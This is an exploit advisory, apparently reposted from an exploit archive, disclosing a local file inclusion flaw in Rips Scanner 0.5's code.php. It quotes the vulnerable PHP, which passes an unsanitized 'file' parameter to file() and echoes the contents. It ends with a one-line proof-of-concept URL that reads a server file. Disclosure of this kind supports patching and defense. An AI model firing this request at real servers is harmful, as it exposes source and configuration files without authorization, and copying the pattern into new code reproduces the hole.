Rips Scanner 0.5 - (code.php) Local File Inclusion

================================================================================
# Rips Scanner 0.5 - (code.php) Local File Inclusion
================================================================================
# Vendor Homepage: https://github.com/robocoder/rips-scanner
# Date: 24/12/2015
# Software Link: https://github.com/robocoder/rips-scanner/archive/master.zip
# Version : 0.5
# Author: Ashiyane Digital Security Team
# Contact: [email protected]
# Source: http://ehsansec.ir/advisories/rips-code-lfi.txt
================================================================================
# Vulnerable File : code.php
 
# Vulnerable Code:
 
     
102 $file = $_GET['file'];
103 $marklines = explode(',', $_GET['lines']);
104 $ext = '.'.pathinfo($file, PATHINFO_EXTENSION);
105
106 
107 if(!empty($file) && is_file($file) && in_array($ext, $FILETYPES))
108 {
109     $lines = file($file);
110     
111     // place line numbers in extra table for more elegant copy/paste
without line numbers
112     echo '<tr><td><table>';
113     for($i=1, $max=count($lines); $i<=$max;$i++)
114         echo "<tr><td class=\"linenrcolumn\"><span
class=\"linenr\">$i</span><A id='".($i+2).'\'></A></td></tr>';
115     echo '</table></td><td id="codeonly"><table id="codetable" width="100%">';
116     
117     $in_comment = false;
118     for($i=0; $i<$max; $i++)
119     {               
120         $in_comment = highlightline($lines[$i], $i+1, $marklines, $in_comment);
121     }
122 } else
123 {
124     echo '<tr><td>Invalid file specified.</td></tr>';
125 }
 
 
# PoC :
 
http://localhost/rips/windows/code.php?file=/var/www/html/index.php
 
Vulnerable Parameter : file

#  0day.today [2018-03-19]  #